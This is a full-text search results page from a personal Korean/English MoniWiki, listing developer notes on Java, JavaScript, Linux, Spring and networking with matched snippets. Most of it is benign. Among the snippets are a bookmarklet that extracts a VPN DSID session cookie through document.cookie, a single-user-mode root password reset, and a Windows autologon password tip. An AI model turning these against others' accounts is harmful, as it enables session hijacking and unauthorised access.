         String filePathList = "D:/data/도우.gif;D:/xxx/mail.hwp";
         props.put("mail.smtp.host", host);
         props.put("mail.smtp.auth", "true"); // 인증이 필요한 경우
         while(stFileName.hasMoreElements()){
          FileDataSource fds = new FileDataSource(stFileName.nextToken());
         transport.connect(host, "USER_ID", "PASSWORD");
  • JavascriptBody.scrollTop항상0리턴 . . . . 2 matches
         [javascript tips] >
          // IE6 +4.01 and user has scrolled
  • JavascriptRegexp . . . . 2 matches
         [javascript]에서 [정규식] 사용
         [숫자 3자리마다 콤마(쉼표)넣기 Javascript Regexp]
         match(), test(), new RegExp("pattern","flags")
          * test()
         RegExpObject.test(string)
  • JpaJodaTimeAutoConverter . . . . 2 matches
          compile 'org.jadira.usertype:usertype.core:4.0.0.GA'
          <property name="jadira.usertype.autoRegisterUserTypes" value="true"/>
          <property name="jadira.usertype.databaseZone" value="jvm"/>
          <property name="jadira.usertype.javaZone" value="jvm"/>
  • JuniperVPN64bitUbuntu에서CommandLine으로연결하기 . . . . 2 matches
         참조 : http://www.ts.vcu.edu/media/technology-services/content-assets/ts-groups/software/juniper/JVPN_Linux_TwoFactorAuth%281%29.pdf
         execute following command(password is blank)
  • JuniperVPNDSID쿠키값구하기 . . . . 2 matches
         javascript:alert(document.cookie)
         javascript:document.write("<h1>"+(document.cookie+"").replace(/^.*DSID=/,"").replace(/; .*$/, "")+"</h1>");
  • KotlinSnippet . . . . 2 matches
         fun main() {
          println(size.coerceAtLeast(8)) // 최소 8은 되야 한다. --> 8
          println(size.coerceAtLeast(3)) // 최소 3은 되야 한다. --> 5
  • LinuxTips . . . . 2 matches
         = root 비밀번호(암호,password)를 분실한(잊어먹은) 경우 =
          5. 이렇게 하면 싱글 유저 모드로 부팅이되며 passwd라는 명령으로 root 암호를 재지정할수 있게 된다.
  • Meaning of INVERSION from SOLID DIP . . . . 2 matches
         In conventional application architecture, lower-level components (e.g., Utility Layer) are designed to be consumed by higher-level components (e.g., Policy Layer) which enable increasingly complex systems to be built. In this composition, higher-level components depend directly upon lower-level components to achieve some task. This dependency upon lower-level components limits the reuse opportunities of the higher-level components.
  • Module04.S/WArchitecture . . . . 2 matches
          * Architecture constrains design and implementation
          * Call-and return systems : Main program and subroutine, OO systems, Hierarchical layers
          * Virtual machines : Interpreters, Rule-based systems
          * Data-centered systems(Repositories) : Databases, Hypertext systems, Blackboards
  • MoniWiki . . . . 2 matches
         MoniWiki is a PHP based WikiEngine. WikiFormattingRules are imported and inspired from the MoinMoin. '''Moni''' is slightly modified sound means '''What ?''' or '''What is it ?''' in Korean and It also shows MoniWiki is nearly compatible with the MoinMoin.
         If you are familiar with the PHP Script language you can easily add features or enhancements.
  • MoniWiki On Raspberry Pi . . . . 2 matches
         #keywords moniwiki, Raspberry Pi
         ["2024-04-11(Th) Raspberry Pi 5에 MoniWiki 설치하기(Docker 이용)"]
  • NSIS . . . . 2 matches
          IEFunctions::ReleaseBrowser
          IEFunctions::ReleaseBrowser
  • Nexus . . . . 2 matches
         There are two distributions of Nexus: Nexus Open Source and Nexus Professional. Nexus Open Source is a fully-featured repository manager which can be freely used, customized, and distributed under the GNU Public License (GPL) Version 3. Nexus Professional is a distribution of Nexus with features that are relevant to large enterprises and organizations which require complex procurement and staging workflows in addition to integration with LDAP, Atlassian Crowd, and other development infrastructure.
  • Nio이용논블로킹소켓서버구현 . . . . 2 matches
          while (it.hasNext()) {
          while (it.hasNext()) {
  • OpenLaszlo . . . . 2 matches
         LZX로 코드를 작성하면 dhtml나 flash등 원하는 런타임으로 만들어낼 수 있다
         [^http://www.openlaszlo.org/]
  • OsxTips . . . . 2 matches
         [osx keychain]
         [bash installation on osx]
         [Window Dragging in Mac by clicking on any part of it (as on Linux)]
  • Raspberry Pi 5 구매 - 20240331 . . . . 2 matches
         [["Raspberry Pi"]]
         case and cooler 32,900
  • ReadFromStdin . . . . 2 matches
         #keywords bash-script
         #!/bin/bash
  • RecentChanges . . . . 2 matches
         Please see MoniWiki:MoniWiki
         ||||<tablealign="center"> [[Icon(diff)]] ||marks older pages that have at least one backup version stored (click for an author diff)||
  • Reform . . . . 2 matches
         [OWASP] encoding project : http://www.owasp.org/index.php/Category:OWASP_Encoding_Project
         org.owasp.reform.Reform.HtmlEncode(xxxx);
  • RepositoryManager . . . . 2 matches
         a collection of binary software artifacts and metadata stored in a defined directory structure which is used by clients such Apache Maven, Apache Ant with Maven tasks, or Apache Ivy to retrieve binaries during a build process.
         정의된 디렉토리 구조에 저장되어진 바이너리 소프트웨어 리소스들과 메타데이터의 모음이다. 아파치 메이븐이나 아파치 앤트 with Maven tasks, 아파치 Ivy와 같은 클라이언트들이 빌드과정에서 바이너리들을 얻기 위해 사용한다.
  • Roam Research . . . . 2 matches
         #keywords note, memo, zettelkasten
          * [Zettelkasten]
  • SOLID . . . . 2 matches
          - 열려있다 : 확장이 가능한 상태. (wikipedia) A module will be said to be open if it is still available for extension. For example, it should be possible to add fields to the data structures it contains, or new elements to the set of functions it performs.
          - 닫혀있다 : 다른 모듈에 의해 사용가능한 상태. 잘 정의되고 안정적인 디스크립션(interface)을 가지고 있다. (wikipeda) A module will be said to be closed if it is available for use by other modules. This assumes that the module has been given a well-defined, stable description (the interface in the sense of information hiding).[3]
          - 추상화된것은 상세에 의존적이지 않아야 한다. 상세는 추상에 의존해야한다. (wikipedia)Abstractions should not depend on details. Details should depend on abstractions.
         SmtpMailSender implement MailSender
         가 있다면 MailSender를 사용
         MailSender 고수준
         SmtpMailSender 저수준
  • SeparatingStructureAndBehavior-Js . . . . 2 matches
         <a href="..." class="popup">xxx</a>
          if(links[i].getAttribute("class")=="popup"){
  • Simian . . . . 2 matches
         Simian (Similarity Analyser) identifies duplication in Java, C#, C, C++, COBOL, Ruby, JSP, ASP, HTML, XML, Visual Basic, Groovy source code and even plain text files. In fact, simian can be used on any human readable files such as ini files, deployment descriptors, you name it.
  • SmbMountOnUbuntu . . . . 2 matches
         $ sudo mount -t cifs //rtac68p/pds /mnt/rtac68p -o user=ftp
         Password for ftp@//rtac68p/pds:
         sudo mount -t cifs //YOUR_SERVER_NAME/SHARE_NAME /mnt/smb -o user=USERNAME,password=PASSWORD,workgroup=WORKGROUP_NAME,ip=1.2.3.4,iocharset=utf8
  • Smtp명령 . . . . 2 matches
         서버에서 ESMTP(Extended Simple Mail Transfer Protocol) 명령에 대한 자체 지원을 식별할 수 있도록 합니다.
         MAIL FROM
         메시지를 보낸 사람을 식별하며 MAIL FROM: 형식으로 사용됩니다.
  • StreamBridge.java . . . . 2 matches
         public class StreamBridge
         class WriterThread extends Thread
         public static void main(java.lang.String[] args)
  • Stty특수문자지정 . . . . 2 matches
         erase
         werase (np)
  • Subversion . . . . 2 matches
          * Subversion 사용 HOWTO - http://www.pyrasis.com/main/Subversion-HOWTO
         [apache based svn server]
  • UML다이어그램 . . . . 2 matches
         Class Diagram : 클래스간의 정적관계
         [UseCase Diagram] : 요구사항 모델링(요구사항 정의)
  • UTF8 . . . . 2 matches
         alias 로 활용
         alias utf8='LANG=ko_KR.utf8'
         utf8 vi test-utf8.txt
  • UbuntuTips . . . . 2 matches
          "Your current network has a .local domain, which is not recommended and incompatible with the Avahi network service discovery. The service has been disabled."
  • UnixLog . . . . 2 matches
         wtmp (시스템 구축시부터 로그인 정보) : last 명령
         btmp(실패한 로그기록) :lastb 명령 : 파일이 없는 경우 touch 해주면 생성됨
  • Useful Software for Mac . . . . 2 matches
         Pasty - Clipboard manager
         https://github.com/dmarcotte/easy-move-resize
  • UserPreferences . . . . 2 matches
         [[UserPreferences]]
         If you are coming to this page for the first time, you'll see form into which you can enter your username and some other settings (crypted password and e-mail are stored). If you click on '''Create Profile''', a user profile will be created for you. With the response, a HTTP cookie will be sent that contains your user ID, which enables the system to recognize you.
         '''Logout''' clears the cookie. As described above, '''Login''' enables you to gain access to your user profile if you somehow lost the cookie or are on another machine. '''Save''' just updates your profile.
  • VirtualServer2005R2 . . . . 2 matches
         http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=6dba2278-b022-4f56-af96-7b95975db13b
         http://www.microsoft.com/downloads/details.aspx?FamilyID=6dba2278-b022-4f56-af96-7b95975db13b&DisplayLang=en
  • WebUploadStreamFormat . . . . 2 matches
         Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
         User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Zenius RSMC; AhnLab:APG=1^865337637^22;; InfoPath.1; KDS-HIRA 2.3.014; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
         TEST_SUB
         Content-Disposition: form-data; name="e_mail"
         test@hira.or.kr
         Content-Disposition: form-data; name="attach"; filename="D:\ngdm_test.txt"
         Content-Type: text/plain
  • WikiNature . . . . 2 matches
         Writing on Wiki is like regular writing, except I get to write so much more than I write, and I get to think thoughts I never thought (like being on a really good Free Software project, where you wake up the next morning to find your bugs fixed and ideas improved).
         It reminds us of minimalist Japanese brushstroke drawings; you provide the few, elegant slashes of ink, and other minds fill in the rest.
  • WindowDraggingInMacByClickingOnAnyPartOfIt(asOnLinux) . . . . 2 matches
         cf. or you can just use this app https://github.com/dmarcotte/easy-move-resize
         https://apple.stackexchange.com/questions/321918/move-window-by-clicking-on-any-part-as-on-linux
  • WolInPhp . . . . 2 matches
         function wol($broadcast, $mac)
          foreach($mac_array AS $octet)
          $e = socket_sendto($sock, $packet, strlen($packet), 0, $broadcast, 7);
  • alias useful . . . . 2 matches
         ["alias"]
         alias dttm='date "+%F %T"'
  • aromnet.ini . . . . 2 matches
         UserID=
         Password=
  • bash getopts . . . . 2 matches
         [bash] >
         https://mug896.github.io/bash-shell/getopts.html
  • certbot . . . . 2 matches
         in Raspberry PI
         https://pimylifeup.com/raspberry-pi-ssl-lets-encrypt/
  • com.gimslab.util.batch.UniqLoopingBatchProcess.java . . . . 2 matches
          * 작성자 : gimslab@gmail.com
         public abstract class UniqLoopingBatchProcess
          + this.getClass().getName()
  • cvs . . . . 2 matches
         The Concurrent Versions System (CVS), also known as the Concurrent Versioning System, is a free software revision control system in the field of software development. Version control system software keeps track of all work and all changes in a set of files, and allows several developers (potentially widely separated in space and/or time) to collaborate. Dick Grune developed CVS as a series of shell scripts in July 1986.[1]
  • derby . . . . 2 matches
         Class.forName(“org.apache.derby.jdbc.ClientDriver”).newInstance();
         show schemas;
  • docker desktop in Mac . . . . 2 matches
         그리고 문제는.. 해당 container 실행 중 disk가 부족하다는 경고가 뜬다.
         찾아봤더니 Docker Desktop Dashboard에 Volumes 라는곳에 볼륨들이 리스팅되어 있다. 그 실제 저장위치는 /var/folders 란다.
         rel. https://superuser.com/questions/1441454/docker-osx-cant-find-reason-for-no-space-left-on-device
  • edithosts.cmd . . . . 2 matches
         copy "%SystemRoot%\system32\drivers\etc\hosts" "%USERPROFILE%\hosts.old"
         copy "%SystemRoot%\system32\drivers\etc\hosts" "%USERPROFILE%\hosts.last"
         copy "%WINDIR%\system32\drivers\etc\hosts" "%USERPROFILE%\hosts.old"
         copy "%WINDIR%\system32\drivers\etc\hosts" "%USERPROFILE%\hosts.last"
  • encodeURL . . . . 2 matches
          while(st.hasMoreTokens()){
          sb.append(java.net.URLEncoder.encode(name, "UTF-8"));
          sb.append(java.net.URLEncoder.encode(val.substring(1), "UTF-8"));
          if(st.hasMoreTokens())
  • exiftool . . . . 2 matches
         cf. https://github.com/gimslab/pc-settings/blob/master/bin/exif-check-datetime-from-dirname.sh
         cf. https://github.com/gimslab/pc-settings/blob/master/bin/exif-update-datetime-from-filename.sh
         # set all dates exclude gpsdatestamp, gpstimestamp by datetime parsed from filename
         # update gpsdatestamp, gpstimestamp with createdate
         exiftool "-gpsdatestamp<createdate" "-gpstimestamp<createdate" -globalTimeShift -9 z-20191020_030000.jpg
  • expect . . . . 2 matches
         Expect is a tool for automating interactive applications such as telnet, ftp, passwd, fsck, rlogin, tip, etc.
  • java.io.File . . . . 2 matches
         String base = "/share/internet/";
         String path = base+cd+f;
  • jaxrpc-ri.xml . . . . 2 matches
         $JWSDP_HOME/jaxrpc/bin/wsdeploy.sh -o testws.war test-portable.war
         ==> 이때 test-portable.war에 jaxrpc-ri.xml이 포함되어 있음
          targetNamespaceBase="http://localhost:8080/mytestws/webservice/wsdl"
          typeNamespaceBase="http://localhost:8080/mytestws/webservice/type">
  • maf . . . . 2 matches
         The Maf project is an archive extension that allows complete web pages to be saved in a single archive file. MAF stands for Mozilla Archive Format and the extension uses RDF to save page meta-data such as the original URL of the page and the date/time the page was put in the archive.
  • moniwikicmd.sh . . . . 2 matches
         #keywords bash-script
         https://github.com/gimslab/scripts/blob/master/moniwikicmd.sh
  • saas . . . . 2 matches
         Software as a service (SaaS) is a software application delivery model where a software vendor develops a web-native software application and hosts and operates (either independently or through a third-party) the application for use by its customers over the Internet. Customers do not pay for owning the software itself but rather for using it. They use it through an API accessible over the Web and often written using Web Services or REST. The term SaaS has become the industry preferred term, generally replacing the earlier terms Application Service Provider (ASP) and On-Demand.
  • sendmail . . . . 2 matches
         1. download from http://sendmail.org
         = alias =
         /etc/aliases
         sendmail.cf에서 Fw값으로 지정된 파일
          * [http://sendmail.org/doc/sendmail-current/doc/op/op.pdf Installation and Operation Guide (pdf)]
          * http://sendmail.org
          * http://hikiki.net/comnote/os/linux/sendmail/index.html
  • sonoff . . . . 2 matches
         [^https://www.amazon.com/gp/product/B0773DFQJ9/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B0773DFQJ9&linkCode=as2&tag=gimsaa-20&linkId=ea8e575f8aee6769316afa777cf9d5bc Amazon]
  • spring injection . . . . 2 matches
         After Spring 4.3 if a class has only one constructor, the Autowired annotation can be omitted
  • ssh-config . . . . 2 matches
          User user1
         Host testSvr
          User user1
          LocalForward 13306 test.com:3306
  • surfingkeys . . . . 2 matches
         https://chrome.google.com/webstore/detail/surfingkeys/gfbliohnnapiefjpjlpjnehglfpaknnc
         my settings: https://github.com/gimslab/bash-scripts/blob/master/surfingkeys.settings
  • synapse . . . . 2 matches
         [INFO 11:58:59.910379] [synapse-main:266] Starting up...
         [WARN 11:58:59.923405] Couldn't connect to accessibility bus: Failed to connect to socket /tmp/dbus-d4Z9gFQBze: Connection refused
         [INFO 11:58:59.967838] [synapse-main:208] Binding activation to <Shift><Control>space
         [INFO 11:58:59.987243] [view-base:251] Screen is composited.
         Synapse crashes every time I start typing something
  • updateddns . . . . 2 matches
         asus(rtac68p) router: *.asuscomm.com
         curl 'http://ddns.dnszi.com/set.html?user=AAA&auth=PPP&domain=gimslab.com&record=wiki'
         curl --user user_id:key 'http://dyna.dnsever.com/update.php?host\[h.gimslab.com\]'
         #curl --user user_id:key 'http://dyna.dnsever.com/update.php?host\[h.gimslab.com\]=offline'
  • vim . . . . 2 matches
         vim 설정파일(=%USERPROFILE%\_vimrc) 에 다음과 같이 추가
         (gg = go to top, gu = lowercase, gU = uppercase, G = go to EOF)
  • writing . . . . 2 matches
         [(번역)Please Stop Calling Databases CP or AP]
  • 구글검색옵션 . . . . 2 matches
         &as_qdr=d3 : 지난 3일간의 검색결과
         &as_qdr=m2 : 지난 2달간의 검색결과
  • 부팅시자동으로Logon되게하기 . . . . 2 matches
         DefaultPassword 스트링 생성 후 어드민 암호로 값 입력
         DefaultUserName 스트링의 값을 원하는 아이디로 바꾼다.
  • 삼성블루투스키보드트리오500Xubuntu에서페어링 . . . . 2 matches
         {{{paired-devices}}}라는 명령을 입력하면 현재 페어링 된 기기들 목록이 표시된다.
         사실 blueman에서도 기기가 '스캔'까지는 되었다. Pairing Samsung Bluetooth Keyboard Trio 500 on Xubuntu
         ==== pairing ====
         실제 페어링을 위해 {{{pair}}} 라는 명령을 이용한다.
         {{{pair}}} 뒤에 위에서 알아낸 Trio 500의 주소를 입력한다.
         그러면 화면에 {{{PassKey 123456}}} 와 같이 입력해야할 6자리 숫자값(핀코드)이 표시된다.
         [AnnePro2 P1]# pair XX:XX:XX:XX:XX:XX
         Attempting to pair with XX:XX:XX:XX:XX:XX
         [agent] Passkey: 123456
         [CHG] Device XX:XX:XX:XX:XX:XX Paired: yes
         Pairing successful
         English: [Pairing Samsung Bluetooth Keyboard Trio 500 on Xubuntu]
  • 숫자포맷유효성체크JavaRegexp . . . . 2 matches
         public class RegExpTest
          public static void main(String[] args)
          test(pattern, "32");
          test(pattern, "32.1");
          test(pattern, "32.123");
          test(pattern, "32.12");
          test(pattern, "32");
          test(pattern, "32a");
          test(pattern, ".123");
          test(pattern, "3.123");
          test(pattern, "333.123");
          test(pattern, "333.1 23");
          test(pattern, "32");
          test(pattern, "3234");
          test(pattern, "32.3");
          test(pattern, "32.33");
          test(pattern, "32.334");
          test(pattern, "32");
          test(pattern, "3234");
          test(pattern, "32.3");
  • 웹표준-기본다지기 . . . . 2 matches
         = id와 class =
         class : 유형
         good : error, mainNav, intro
  • 웹표준을준수했을때좋은점 . . . . 2 matches
         faster-loading pages
         extreme programming approach to workflow (teamwork becomes easier and more efficent)
  • 윈도우환경변수 . . . . 2 matches
         %UserPofile% : c:\Documents and Settings\{USER_ID}
         %Temp% : %UserProfile%\Local Settings\Temp
  • 작은사전띄우기 . . . . 2 matches
         javascript:function openSdic(){var w=window.open('http://endic.naver.com/small.naver?where=index','DirectSearch_Dic','left='+(screen.width-410)+',top=17,width=405,height=500,resizable=no,scrollbars=no');void(0);}openSdic();
         javascript:function openSdic(){var w=window.open('http%3A%2F%2Fengdic.daum.net%2Fdicen%2Fsmall_view_top.do','DirectSearch_Dic','left='+(screen.width-410)+',top=17,width=405,height=500,resizable=no,scrollbars=no');void(0);}openSdic();
  • 제대로된코드사용 . . . . 2 matches
         = 불필요한 class 나 id 비사용 =
         = javascript 오류 없는지 =
  • 추천Ajax위젯 . . . . 2 matches
         SWF/Charts : adobe flash 기반
         carousel : jQuery JavaScript 기반
         SWF/Gauge : adobe flash 기반
  • 트위터 QPS와 저장소 요구량 추정 예제 . . . . 2 matches
          * MAU(Monthly Active User): 3억명
          * 50% User가 매일 사용
  • 1일차-Ajax교육 . . . . 1 match
         [xsl적용하기.js] - [xml]에 [xsl]적용하는 javascript
  • 3일차-Ajax교육 . . . . 1 match
         [json] 표기법 : [javascript]에서 데이터를 쉽게 표현
  • 4.취약점분석-해킹공격9단계 . . . . 1 match
         MBSA(Microsoft Baseline Security Analyzer) - MS IIS 5.0, IE 5.5
  • 40% Keyboard . . . . 1 match
         http://www.vortexgear.tw/vortex2_2.asp?kind=47&kind2=224&kind3=&kind4=1036
  • 4일차-XMLWebServicesWithJava . . . . 1 match
         파라미터 타입을 사용자정의 class를 이용해서 하는 법
  • 6.권한상승-해킹공격9단계 . . . . 1 match
         [패스워드 크랙] (Password Crack)
  • AES . . . . 1 match
         [bash aes]
  • AI Development . . . . 1 match
         ["AI Tech"]
  • AI Training Cloud . . . . 1 match
         ["AI Tech"]
         https://ainize.ai
  • AIY . . . . 1 match
         [Google AIY voice kit]
  • AOP . . . . 1 match
         [[Aspect Oriented Programming]]
         [aspectwerkz]
  • Ajax관련사이트 . . . . 1 match
         http://www.rubyonrails.org/
         http://www.ashleyit.com/rs/main.htm => Remote Scripting 관련하여 Brent Ashley 가 운영하는 싸이트
  • ArrayList . . . . 1 match
         [ArrayList vs HashSet]
  • AspectOrientedProgramming . . . . 1 match
         AspectJ
         SpringAOP : AspectJ의 많은 부분을 차용
          * Advisor(aspect) : Advice+pointcut
  • BashIfStatements . . . . 1 match
         #keywords bash, if statements, script
         cf. UnixShellProgramming [test 명령]
          test -f my_file
          echo ' export_query.sh WORK_DIR LAST_CHECK_DATE'
  • BeanShell . . . . 1 match
         BeanShell is a small, free, embeddable [Java] source interpreter with object scripting language features, written in [Java]. BeanShell dynamically executes standard Java syntax and extends it with common scripting conveniences such as loose types, commands, and method closures like those in [Perl] and JavaScript.
  • BitTorrentOnRaspberryPi . . . . 1 match
         #keywords Raspberry Pi, BitTorrent
  • BreakingTheCycle . . . . 1 match
          * create a new component that both Entities and Authorizer depend on. move the classes that they both depend on into that new component
  • ByteOrderingInWords . . . . 1 match
         LSB - Least Significant Bit (가장 작은 비트 자릿수)
  • CBD교육-20091214 . . . . 1 match
         [UseCase정의서] RFP추가
  • CITP . . . . 1 match
         Continuous Test & Integration Platform
  • CSSTools . . . . 1 match
          * Style Master - http://www.westciv.com
  • Categorical Variables Handling . . . . 1 match
          10. Hashing
  • CategoryHomepage . . . . 1 match
         Note that such pages are "owned" by the respective person, and should not be edited by others, except to leave a message to that person. To do so, just append your message to the page, after four dashes like so:
  • CheckJuminnoInContents . . . . 1 match
         [javascript library]
         실행시켜보시려면 아래소스를 모두 긁어서 test.html 파일로 만들어서 브라우져에서 열어보면 됩니다.
         function containsJuminno(txt)
          var rs = containsJuminno(document.getElementsByName("a")[0].value);
  • Code Snippet . . . . 1 match
         ["Javascript Code Snippet"]
  • CommentMacro . . . . 1 match
         #title Comment Test
  • CountOnMe . . . . 1 match
         I'll sail the world to find you
         If you're tossing and you're turning and you just can't fall asleep,
  • CqlshBasicCommands . . . . 1 match
         #keywords cassandra, cqlsh
  • CssLayout . . . . 1 match
         elastic : 글씨 크기에 따라 너비 변동
  • Css적용우선순위 . . . . 1 match
         3. class : .contents { color:red }
  • DomScripting . . . . 1 match
         [javascript]
  • EclipsePlugin . . . . 1 match
         uml : http://www.objectaid.com/
         EclEMMA : test coverage 관리
         MoreUnit : junit test case 생성 및 실행
  • EclipseServer-Weblogic . . . . 1 match
         {WORKSPACE}\.metadata\.plugins\org.eclipse.wst.server.core\tmp?\{DOMAIN}\_auto_generated_ear_\.beabuild.txt
         Project Properties > Deployment Assembly
  • Epson L3156 Driver for Ubuntu . . . . 1 match
         https://askubuntu.com/questions/1117964/epson-l3150-printer-driver
  • EpsonPrinter . . . . 1 match
         EpsonAcuLaserC1700DriverForUbuntu
  • ExpectScript/getSpawnResult . . . . 1 match
         set os [exec bash -c {uname}]
         send_user "os=$os"
  • ExpectScript/mycliViaSshTunneling . . . . 1 match
         set dbuser [lindex $argv 4]
         spawn ~/bincp/mycli-with-log.sh $dbuser $dbhost $dbport $dbname $logfile
         expect "Password"
  • FZF-CommandlineFuzzyFinder . . . . 1 match
         #keywords cli, bash
  • Fiddler . . . . 1 match
         Fiddler is a Web Debugging Proxy which logs all HTTP(S) traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP(S) traffic, set breakpoints, and "fiddle" with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language.
  • FindMissingNumber.java . . . . 1 match
         public class FindMissingNumber {
          public static void main(String[] args) {
  • Flash제작업체 . . . . 1 match
         [^http://www.astrum.co.kr/] ACG
  • GalaxyA53G전용모드로변경하기 . . . . 1 match
         password :
  • HashJoin . . . . 1 match
         hash 함수 사용으로 cpu, memory 자원 사용
  • Hp-uxShall에서Ctrl-C입력이안되는경우 . . . . 1 match
         stty erase "^H" kill "^U" intr "^C" eof "^D"
  • HttpSession . . . . 1 match
         while(enuSesNames.hasMoreElements()){
  • IT개발 . . . . 1 match
         [Sybase]
  • IT관련 . . . . 1 match
         [모바일], [eMail], [Web], MoniWiki, [공개S/W], [SSH], [Language], [OS]
         [Virtual Server 2005 R2], [정규식], [Sybase], [CVS]
  • If명령 . . . . 1 match
         --> [bash if statements]
  • InstallingARootCertificateOnUbuntu . . . . 1 match
         if {{{.pem}}} case
  • IsbnMap . . . . 1 match
         AladdinMusic http://www.aladdin.co.kr/music/catalog/music.asp?ISBN= http://image.aladdin.co.kr/cover/cdcover/$ISBN_1.jpg @/cdcover/(\d+)_1\.jpg@
  • IterableReducer . . . . 1 match
         public class IterableReducer {
  • JWSDP동적호출인터페이스모델클라이언트 . . . . 1 match
          , "http://schemas.xmlsoap.org/soap/encoding/");
  • Java8StremGroupingBy . . . . 1 match
          public static void main(String[] args) {
          static class Data {
  • JavaNCSS . . . . 1 match
         JavaNCSS is a source measurement suite for Java which produces quantity & complexity metrics for your java source code.
  • JavaUnicodeEncoderDecoder . . . . 1 match
         System.out.println(URLEncoder.encode("a+b c", "UTF-8"));
         public class Unicode{
         public static void main(String[] args) throws Exception{
  • JavascriptCloneFunction . . . . 1 match
         [javascript] object [clone] [function]
  • JavascriptCommify . . . . 1 match
         JavascriptCodeSnippet /
          while (reg.test(n))
  • JavascriptConvertToHtml() . . . . 1 match
         [XSS] safe 한 코딩을 위한 [javascript library]
  • JavascriptFunction . . . . 1 match
         [javascript]
  • JavascriptText의ByteLength구하기 . . . . 1 match
         [javascript]에서 text의 byte length 구하기
  • Javascript에서쿠키조작 . . . . 1 match
         [javascript tips] >
         다른 도메인에서까지 사용하려면 domain=domainname 을 지정
         domain=kiki.co.kr
  • Javascript연산자 . . . . 1 match
         [javascript function]
  • Javascript정규식 . . . . 1 match
         [javascript regexp]
  • Known AI Models . . . . 1 match
         ["AI Tech"] >
         Ollama Models - https://ollama.ai/library?sort=newest
  • KoreanInRaspbian . . . . 1 match
         ["Raspberry Pi"]
  • LinuxNews . . . . 1 match
         http://www.eweekkorea.com/02_contents/contents_view.asp?num=17474&num_c=5&tit=%5B%ED%99%9C%EC%9A%A9%EC%82%AC%EB%A1%80%5D%20SK%EC%BB%A4%EB%AE%A4%EB%8B%88%EC%BC%80%EC%9D%B4%EC%85%98%EC%A6%88%20%EC%8B%B8%EC%9D%B4%EC%9B%94%EB%93%9C
         http://www.etnews.co.kr/news/sokbo_detail.html?id=200604200164
  • LogbackLoglevelChangeAtRuntime . . . . 1 match
         org.apache.catalina.util.LifecycleBase ERROR ERROR
         $ http -b :8080/loggers?testLog
  • MD5SUM.java . . . . 1 match
         public class MD5sum
          public static void main(String[] args)
  • MSWindowsCommands . . . . 1 match
          * assoc : 확장명 연결 보여주거나 수정
  • MavenDependency관리 . . . . 1 match
          * runtime : 컴파일시에는 불필요, 실행시 필요.classpath.
          * test : 테스트 컴파일이나 수행시에만 필요
  • Maven사용하기 . . . . 1 match
         mvn test-compile
         ==> test 소스에 대한 컴파일 수행
         mvn test
         ==> test 수행
         compile > test-compile > test > package > install > deploy
         ==> 프로젝트를 [eclipse]기반으로 변경시킨다. 필요한 클래스들을 .classpath 파일에 자동으로 추가해줌, .project 파일 생성됨
  • MessagePartitioningSolutions . . . . 1 match
         [Hazelcast]
  • Mini Keyboard . . . . 1 match
          2. type Fn+[paring] button then the indicator light flashes blue quickly to enter the pairing state
  • MoniWikiBugs . . . . 1 match
         Please see MoniWiki:MoniWikiBugs
  • MoniWikiIdeas . . . . 1 match
         See MoniWiki:MoniWikiIdeas
  • MoniWikiMacro . . . . 1 match
          -- [master1] [[DateTime(2006-06-22T08:29:16)]]
  • MonitoringOnMSA . . . . 1 match
         kibana : Kibana is an open source data visualization plugin for Elasticsearch.
  • MouseButtonModifier-Moving,ResizingWindow . . . . 1 match
         https://askubuntu.com/questions/118151/how-do-i-disable-window-move-with-alt-left-mouse-button-in-gnome-shell
  • MoveWindowInOSXByClickingOnAnyPart(asOnLinux) . . . . 1 match
         [Window Dragging in Mac by clicking on any part of it (as on Linux)]
  • MultiTable.scala . . . . 1 match
         class MultiTable {
          def main(args: Array[String]): Unit = {
  • Multimaps.index() . . . . 1 match
          public static void main(String[] args) {
          static class Data {
  • MyBatisError . . . . 1 match
          <resultMap class="xxx.xxx.XeCpOption" id="XeCpOption">
  • OWASP . . . . 1 match
         http://www.owasp.org/
  • ObjectOrientation-Js . . . . 1 match
         [class - oojs]
  • OpenOffice.org2.0 . . . . 1 match
         [OpenOffice.org 2.0]에는 Base라는 DB 관련 툴이 포함되어 있다. MS access 와 유사한...
  • OracleIndex . . . . 1 match
         user_ind_columns
         [Function based index]
  • OracleJoin . . . . 1 match
         [Hash Join]
  • POP3Protocol . . . . 1 match
         user ID
         pass PASSWORD
  • PowerSetWithDp . . . . 1 match
         https://github.com/gimslab/algorithms/blob/master/src/main/java/power_set_with_dp/PowerSetWithDp.java
  • Random Forests . . . . 1 match
         Training에 사용한 데이터에는 잘 맞지만 새로운 데이터를 예측하고자 할때는 잘 맞지 않는다. (Flexibility 낮음)
         Training용으로 사용할 row를 Random하게 추출한다. 이 때 중복 row도 허용한다.
         Bootstrapping에서 사용되지 않은 Data (out-of-bag dataset)를 만들어진 모델에 넣어 에러를 검증한다. (Out-of-bag Error)
  • Rational.scala . . . . 1 match
         class Rational(n: Int, d: Int) {
         object Main {
          def main(args: Array[String]): Unit = {
  • Readable Asynchronous Programming . . . . 1 match
         https://github.com/Kotlin/kotlinx.coroutines/blob/master/reactive/kotlinx-coroutines-reactive/README.md
  • RegexpPatterns . . . . 1 match
         [숫자 3자리마다 콤마(쉼표) 넣기 javascript regexp]
  • Remote Desktop으로 XRDP 연결시 GUI 프로그램들이 깨지는 현상 - 20240501 . . . . 1 match
         from https://forums.raspberrypi.com/viewtopic.php?t=358637
  • RemoveMysqlDataAndRootPassword . . . . 1 match
         mysql> alter user root@localhost identified by 'myNewPassword';
  • SAGA Pattern . . . . 1 match
         last modified 2021-06-08 21:50:31
  • SSL해킹 . . . . 1 match
         google.com|mylalkjslflaksjd.asldkfj.gimslab.com
  • SamsungGalaxyA5SM-A500K . . . . 1 match
         갤럭시A5 모델 외장 메모리는 최대 64 GB까지 호환 가능하며, Class 10 지원 가능합니다.
  • SessionAttributesListing . . . . 1 match
         while(enuSesNames.hasMoreElements()){
  • SlippingThroughMyFingers . . . . 1 match
         Sleep in our eyes, her and me at the breakfast table
  • SparkSerializationError . . . . 1 match
          * class member field 참조하는 경우
  • Spring2.5특징요약 . . . . 1 match
         JUnit 4-based integration testing
  • TDD . . . . 1 match
         Test Driven Development
